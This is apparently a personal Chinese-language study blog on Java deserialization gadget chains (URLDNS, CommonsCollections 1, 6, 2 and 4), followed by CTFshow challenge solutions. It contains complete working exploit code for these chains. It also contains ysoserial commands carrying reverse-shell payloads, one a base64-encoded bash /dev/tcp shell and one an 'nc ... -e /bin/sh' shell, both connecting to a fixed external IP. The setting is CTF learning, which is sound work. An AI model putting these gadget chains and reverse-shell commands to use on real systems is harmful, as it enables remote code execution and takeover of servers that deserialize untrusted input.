Java反序列化
一、前置知识
1.1反射
1.2动态代理
二、几条链子学习一下
2.1 URLDNS链
先来一个我自己抄的URLDNS链子:
反序列化的结果会以文件和base64的形式同时输出。
URLDNS链的作用是利用Java的原生类执行一个DNS请求, 用于验证是否存在反序列化漏洞,跟进去看一下。
这里首先要注意IDEA中要使用SDK1.8 + Java8,否则可能会报错,因为这个错误是因为在Java 9及更高版本中,模块化系统引入了访问限制,阻止了对一些本应是私有的字段和方法的访问。

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39
| import java.io.ByteArrayOutputStream; import java.io.FileOutputStream; import java.io.IOException; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.net.URL; import java.util.Base64; import java.util.HashMap;
public class URLDNS { public static void serialize(Object obj) throws IOException{ ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("URLDNS.ser")); oos.writeObject(obj);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); ObjectOutputStream oos_base64 = new ObjectOutputStream(byteArrayOutputStream); oos_base64.writeObject(obj); oos_base64.flush();
byte[] serializedObject = byteArrayOutputStream.toByteArray(); String base64String = Base64.getEncoder().encodeToString(serializedObject); System.out.println("Base64 Serialized Object: " + base64String); }
public static void main(String[] args) throws Exception { HashMap<URL, Integer> hashmap = new HashMap(); URL url = new URL("http://f6ddd4a4-55d7-43fd-9180-44c9e99205e6.challenge.ctf.show"); Class c = url.getClass(); Field hashcodefield = c.getDeclaredField("hashCode"); hashcodefield.setAccessible(true); hashcodefield.set(url, 1234); hashmap.put(url, 1);
hashcodefield.set(url, -1); serialize(hashmap); }
}
|
因为开始都是一些定义和赋值,序列化的过程我们先跟到hashmap.put:

调用了hash(key),也就是hash(url),接着跟hash:

hash函数中当key != null直接调用key的hashCode方法,我们接着跟:

发现hashCode其实是Object的一个方法,URL类自动继承Object,我们进URL类看看有没有hashCode:

URL类的HashCode方法在hashCode != -1的时候会调用handler的hashCode方法:

再跟进去:

可以看到掉用了getHostAddress这个方法,看这个方法的有关说明:

获取一个域名的IP,就是DNS请求啦,终于走完了。
总结一下这个链子的流程:
HashMap.put()->hash(url)->URL.hashCode()->handler.hashCode()->getHostAddress(URL)
这样就完成了整个利用的过程。
反序列化也同理,因为HashMap.readObject方法直接调用了hash函数,所以反序列化过程中:
URLDNS 的Gadget:
1:HashMap->readObject()
2:HashMap->hash()
3:URL->hashCode()
4:URLStreamHandler->hashCode()
5:URLStreamHandler->getHostAddress()
6:InetAddress->getByName()
2.2 CC1链
学习参考:
Java反序列化CommonsCollections篇(一) CC1链手写EXP
JAVA安全初探(三):CC1链全分析
首先,配置环境好像并没有那么复杂,配好jdk版本之后在反编译.class文件的界面可以直接通过IDEA下载源码,非常快且方便
还有一些有关IDEA的操作:
1、跟进:CRTL+左键
2、查看实现类:选中接口名+CRTL+ALT+B
CC1链子的核心是Tansformer接口,先看看哪些类实现了这些接口:

造成这个漏洞的核心是InvokeTansformer:

可以看到InvokeTansformer的tansformer方法采用反射的方式调用了指定类中的指定方法,而这个类和方法都是可以控制的,便可以注入一些恶意代码。
弹个计算器先:

确实是个可以利用的类,那么就接着往回找其他调用了tansform的类和方法,直到找到readObject:
直接查找用法:


找到是TransformedMap中的ChecksetValue方法
而TransformedMap的构造方法是通过decorate静态方法调用的:

所以我们又往前来了一层:通过TransformedMap调用ChecksetValue,再调用InvokeTransformer,而后调用Runtime,再来弹个计算器:
想要调用ChecksetValue,再往上可以找到MapEntry的setValue方法:

因为要对Runtime做transformer,我们就直接对Runtime做setValue,便可以弹计算器了:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| public class CC1 { public static void main(String[] args) throws Exception { InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class}, new String[]{"calc"}); HashMap<Object, Object> map = new HashMap<>(); map.put("key", "value"); Map<Object, Object> transformedmap = TransformedMap.decorate(map, null, invokerTransformer);
for(Map.Entry entry:transformedmap.entrySet()){ entry.setValue(Runtime.getRuntime()); }
}
|
至此链子已经完成一半了,来正向看一遍完成一半的Gadage:
1.Map.Entry->setValue
2.MapEntry->setValue
3.TransformedMap->checkSetValue
4.InvokerTransformer->transform
5.Runtime.getRuntime->exec
关于为啥会调用到MapEntry的setValue,去问了一下GPT:
entry.setValue() 会调用 AbstractInputCheckedMapDecorator.MapEntry 类中的 setValue(Object value) 方法,是因为在你的代码中,transformedmap 是一个经过装饰的 Map(通过 TransformedMap.decorate(map, null, invokerTransformer) 进行装饰的),这个装饰的 Map 实际上是 AbstractInputCheckedMapDecorator 的一个子类,它覆盖了 entrySet() 方法以返回一个装饰过的 Set 对象。
在这个装饰的 Set 中,迭代时会使用 AbstractInputCheckedMapDecorator.EntrySetIterator 来遍历 Map.Entry 对象,每当你调用 entry.setValue() 时,实际上是调用了 AbstractInputCheckedMapDecorator.MapEntry 类中的 setValue(Object value) 方法,这个方法进行了额外的检查和操作,然后再实际调用原始 Map.Entry 的 setValue 方法,从而完成了装饰的功能。这是装饰器模式的一个示例,通过包装原始对象并在其上添加额外的行为,实现了对原始对象的功能增强。
关于为啥第二步会调用第三步,我个人理解是TansformedMap是AbstractInputCheckedMapDecorator的子类,由于赋值兼容规则,调用AbstractInputCheckedMapDecorator的checkSetValue就会调用TransformedMap重写的方法了。
不太懂,只能先放着了,java的面向对象比我想象的复杂很多
接着往前走:
找哪些方法调用了setValue:
可以看到找到一个readObject调用了setValue:

是AnnotationInvocationHandler,名字奇怪无比的一个类 挖这条链子得知道多少奇奇怪怪的类啊
因为不是public类,得用反射去创造实例:
1 2 3 4 5
| Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor ac = c.getDeclaredConstructor(Class.class, Map.class); ac.setAccessible(true); Object o = ac.newInstance(Override.class, transformedmap); serialize(o);
|
但是这样反序列化是没法得到正确结果的,存在三个问题:Runtime对象不可序列化,setValue的值不可控制,要执行setValue得满足两个if条件。我们一个一个解决。
要解决序列化问题还得依靠反射方式,通过Class进行序列化,核心思想是通过InvokeTansformer实现反射,从而进行反序列化:
要解决进if判断的问题,找一个有成员方法的注解即可,用Target->value即可
要解决setValue的值不可控制的问题,需要使得

这里得对Runtime.class操作,我们直接不管原来那依托,直接强行让最后返回的值为Runtime.class即可
1 2 3 4 5 6 7 8
| Transformer[] transformers = new Transformer[]{ new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class},new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Class.class, Object.class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) };
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); chainedTransformer.transform(Runtime.class);
|
下面是完整的CC1:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70
| import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap;
import java.io.*; import java.lang.annotation.Target; import java.lang.reflect.Constructor; import java.lang.reflect.Method; import java.util.Base64; import java.util.HashMap; import java.util.Map;
public class CC1 { public static void main(String[] args) throws Exception {
Transformer[] Transformers=new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}) };
ChainedTransformer chainedTransformer= new ChainedTransformer(Transformers);
HashMap<Object, Object> map = new HashMap<>(); map.put("value", "value"); Map<Object, Object> transformedmap = TransformedMap.decorate(map, null, chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor ac = c.getDeclaredConstructor(Class.class, Map.class); ac.setAccessible(true); Object o = ac.newInstance(Override.class, transformedmap); serialize(o); unSerialize(); }
public static void serialize(Object obj) throws IOException{ ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("URLDNS.ser")); oos.writeObject(obj);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); ObjectOutputStream oos_base64 = new ObjectOutputStream(byteArrayOutputStream); oos_base64.writeObject(obj); oos_base64.flush();
byte[] serializedObject = byteArrayOutputStream.toByteArray(); String base64String = Base64.getEncoder().encodeToString(serializedObject); System.out.println("Base64 Serialized Object: " + base64String); }
public static Object unSerialize() throws IOException, ClassNotFoundException { ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("ser.bin")); return objectInputStream.readObject(); } }
|
再来从头到尾理一下这条链子:
1.AnnotationInvocationHandler->readObject
2.2023/9/13 23:36 太晚了理不出来了 回寝摆烂睡觉了
2.3 CC6链
最近一直在忙学校新生赛的事情,太久没学新东西了。正好赶上国庆放假,还是学一点吧,国庆看能不能把Java反序列化学个大差不差,再去吧CTFSHOW上黑盒测试做了,还有时间再去看看看大赛原题好了。
适用环境:
CC6据说不限制JDK和CC版本,是最好用的一条链子了,直接来分析现成的poc:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| public static void main(String[] args) throws Exception { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> map = new HashMap<>(); Map<Object,Object> lazyMap = LazyMap.decorate(map,new ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,"aaa");
HashMap<Object,Object> map2 = new HashMap<>(); map2.put(tiedMapEntry,"bbb"); lazyMap.remove("aaa");
Class c = LazyMap.class; Field factory = c.getDeclaredField("factory"); factory.setAccessible(true); factory.set(lazyMap,chainedTransformer); serialize(map2);
}
|
先自己简单写一个调用链:
直接看出来的,细节也不想深究了,就这样吧
2.4 CC2链
适用环境:
先抄个POC,再简单看下:
直接看利用链和关键类&方法:
2.5 CC4链
适用环境:
还是一样,直接看看poc和利用链了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67
| import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.apache.commons.collections4.Transformer; import org.apache.commons.collections4.comparators.TransformingComparator; import org.apache.commons.collections4.functors.ChainedTransformer; import org.apache.commons.collections4.functors.ConstantTransformer; import org.apache.commons.collections4.functors.InstantiateTransformer; import javax.xml.transform.Templates; import java.io.*; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; import java.util.PriorityQueue;
public class CC4EXP { public static void main(String[] args) throws Exception{ TemplatesImpl templates = new TemplatesImpl(); Class templatesClass = templates.getClass(); Field nameField = templatesClass.getDeclaredField("_name"); nameField.setAccessible(true); nameField.set(templates,"Drunkbaby"); Field bytecodesField = templatesClass.getDeclaredField("_bytecodes"); bytecodesField.setAccessible(true); byte[] evil = Files.readAllBytes(Paths.get("E://Calc.class")); byte[][] codes = {evil}; bytecodesField.set(templates,codes);
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates}); Transformer[] transformers = new Transformer[]{ new ConstantTransformer(TrAXFilter.class), instantiateTransformer }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1)); PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator); priorityQueue.add(1); priorityQueue.add(2); Class c = transformingComparator.getClass(); Field transformingField = c.getDeclaredField("transformer"); transformingField.setAccessible(true); transformingField.set(transformingComparator, chainedTransformer); serialize(priorityQueue); unserialize("ser.bin"); } public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); } public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{ ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); Object obj = ois.readObject(); return obj; } }
|
利用链:
核心的类还是PriorityQueue TransformingComparator InstantiateTransformer TemplatesImpl,加载了这些就可以利用
三、ctfshow题解
Web846
URLDNS链,用前面的poc就行
poc:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39
| import java.io.ByteArrayOutputStream; import java.io.FileOutputStream; import java.io.IOException; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.net.URL; import java.util.Base64; import java.util.HashMap;
public class URLDNS { public static void serialize(Object obj) throws IOException{ ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("URLDNS.ser")); oos.writeObject(obj);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); ObjectOutputStream oos_base64 = new ObjectOutputStream(byteArrayOutputStream); oos_base64.writeObject(obj); oos_base64.flush();
byte[] serializedObject = byteArrayOutputStream.toByteArray(); String base64String = Base64.getEncoder().encodeToString(serializedObject); System.out.println("Base64 Serialized Object: " + base64String); }
public static void main(String[] args) throws Exception { HashMap<URL, Integer> hashmap = new HashMap(); URL url = new URL("http://1729e40c-a67b-42ee-b9d4-bd3d3a746979.challenge.ctf.show"); Class c = url.getClass(); Field hashcodefield = c.getDeclaredField("hashCode"); hashcodefield.setAccessible(true);
hashcodefield.set(url, 1234); hashmap.put(url, 1);
hashcodefield.set(url, -1); serialize(hashmap); }
}
|
Web847
CC1可以打
不知道为啥,一直用
bash -i >& /dev/tcp/121.37.219.181/7777 0>&1
就是打不通
但是用
bash -c {echo,要执行命令的base64编码}|{base64,-d}|{bash,-i}
就行,这两个的区别我也不理解
以后都用第二个了
payload:
1
| java -jar ysoserial.jar CommonsCollections1 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjEuMzcuMjE5LjE4MS83Nzc3IDA+JjE=}|{base64,-d}|{bash,-i}"|base64
|
自己写的CC1链子再试一次,就是不行楽了
不管了就用ysoserial打了
Web848
不能用TransformedMap,直接上CC6了:
payload:
1
| java -jar ysoserial.jar CommonsCollections6 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjEuMzcuMjE5LjE4MS83Nzc3IDA+JjE=}|{base64,-d}|{bash,-i}"|base64
|
结果POST传进去就能拿到Shell了
Web849
CC4版本,但是好像还是可以用CC6直接梭
payload:
1
| java -jar ysoserial.jar CommonsCollections6 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjEuMzcuMjE5LjE4MS83Nzc3IDA+JjE=}|{base64,-d}|{bash,-i}"|base64
|
好像不太行,不让用TiredMapEntry了:

提示说是CC2
payload:
1
| java -jar ysoserial.jar CommonsCollections2 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjEuMzcuMjE5LjE4MS83Nzc3IDA+JjE=}|{base64,-d}|{bash,-i}"|base64
|
需要nc反弹
1
| java -jar ysoserial.jar CommonsCollections2 "nc 121.37.219.181 7777 -e /bin/sh "|base64
|
关于nc反弹的解释:
- nc:这是Netcat工具的命令行名称,它用于执行网络相关操作。
- 121.37.219.181:这是目标主机的IP地址,它告诉Netcat要连接到哪个计算机。
- 7777:这是目标主机上的端口号,它告诉Netcat要连接到目标主机的哪个网络端口。
- -e /bin/sh:这是一个选项,它告诉Netcat在成功连接到目标主机和端口后,将一个shell(/bin/sh,通常是Bash shell)附加到连接上。这意味着,一旦连接建立,您将能够在目标主机上执行shell命令,就好像您直接位于该主机上一样。
Web850
可以用CC3
payload:
1
| java -jar ysoserial.jar CommonsCollections3 "nc 121.37.219.181 7777 -e /bin/sh "|base64
|